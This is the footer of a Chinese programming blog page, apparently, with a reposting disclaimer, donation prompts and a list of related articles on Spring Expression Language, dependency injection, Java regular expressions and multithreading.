本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Spring表达式语言(SPEL)学习(03)

    在表达式中直接写name和getName(),这时候Expression是无法解析的,因为其不知道name和getName()对应什么意思 当表达式是基于某一个对象时,我们可以把对应的对象作为一个rootObject传递给对应的Experssion进行取值 通过指定EvaluationContext我们可以让name和getName()变得有意义,指定了Ev

    2024年02月02日
    浏览(36)
  • 揭秘Spring依赖注入和SpEL表达式

    摘要: 在本文中,我们深入探讨了Spring框架中的属性注入技术,包括setter注入、构造器注入、注解式属性注入,以及使用SpEL表达式进行属性注入。 本文分享自华为云社区《Spring高手之路3——揭秘Spring依赖注入和SpEL表达式》,作者:砖业洋__ 。 在本文中,我们深入探讨了

    2024年02月08日
    浏览(28)
  • Spring高手之路3——揭秘Spring依赖注入和SpEL表达式

    本篇会给大家举出各种 Spring 属性依赖注入的例子,方便大家理解。 我们在前面的文章中已经使用过 XML 进行 setter 方法的属性注入了,下面让我们再来回顾一下: 我们在前面的文章中也学习过如何在 bean 创建时通过编程方式设置属性: 使用XML进行setter方法注入 首先,我们需

    2024年02月08日
    浏览(32)
  • Spring判断方法名是符合给定的SPEL+表达式的+API

    org.springframework.expression.spel.standard.SpelExpressionParser解析SPEL表达式 org.springframework.expression.spel.support.StandardEvaluationContext 验证方法名是否符合表达式 我们先使用SpelExpressionParser类来解析表达式,然后再创建一个StandardEvaluationContext对象,并将方法名作为变量设置到上下文中。最后

    2024年02月10日
    浏览(30)
  • 【SpringBoot应用篇】【AOP+注解】SpringBoot+SpEL表达式基于注解实现权限控制

    Spring 表达式语言 SpEL 是一种非常强大的表达式语言,它支持在运行时查询和操作对象图。 它提供了许多高级功能,例如方法调用和基本的字符串模板功能。 表达式语言给静态Java语言增加了动态功能。 Spring 表达式语言最初是为 Spring 社区创建的,它拥有一种受良好支持的表

    2024年02月20日
    浏览(30)
  • 最新最全面的Spring详解(三)——Resources,验证、数据绑定和类型转换与Spring表达式语言(SpEL)

    本文为 【Spring】Resources与Spring表达式语言(SpEL) 等相关知识,下边将对 Resources (包含: Resource接口 、 内置的 Resource的实现 、 ResourceLoader接口 、 应用环境和资源路径 ), 验证、数据绑定和类型转换 (包含: BeanWrapper 、 PropertyEditor属性编辑器 、 类型转换 、 配置 DataB

    2023年04月26日
    浏览(36)
  • 0基础学java-day27(正则表达式)

    为让大家对正则表达式底层实现有一个直观的映象,给大家举个实例 给你一段字符串 ( 文本 ), 请找出所有四个数字连在一起的子串, 比如 : 应该找到 1998 1999 3443 9889 === 分析底层实现 RegTheory.java 用于指定其前面的字符和组合项连续出现多少次 定位符 , 规定要匹配的字符串出

    2024年01月21日
    浏览(38)
  • 深入理解 Java 多线程、Lambda 表达式及线程安全最佳实践

    线程使程序能够通过同时执行多个任务而更有效地运行。 线程可用于在不中断主程序的情况下在后台执行复杂的任务。 创建线程 有两种创建线程的方式。 扩展Thread类 可以通过扩展Thread类并覆盖其run()方法来创建线程: 实现Runnable接口 另一种创建线程的方式是实现Runnable接口

    2024年03月15日
    浏览(45)
  • day19正则表达式

    正则表达式 能够理解正则表达式的作用 能够使用正则表达式的字符类 能够使用正则表达式的逻辑运算符 能够使用正则表达式的预定义字符类 能够使用正则表达式的限定符 能够使用正则表达式的分组 能够在String的split方法中使用正则表达式 在Java中,我们经常需要验证一些

    2024年02月07日
    浏览(30)
  • day27 String类 正则表达式

    String s= \\\"腻害\\\"; byte[] bytes = s.getBytes(StandardCharsets.UTF_8); String ss = \\\"ss我的\\\"; byte[] gbks = ss.getBytes(\\\"gbk\\\"); String gbk = new String(gbks, \\\"gbk\\\"); 常见的正则表达式 [abc] : abc三个字符中的任何一个都可以 [^abc] : 除了abc其他任何字符都可以 [a-z] : abcd......z 中的任意一个字符 [a-zA-Z0-9] : a~z A~Z 0~9 中

    2024年02月11日
    浏览(31)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包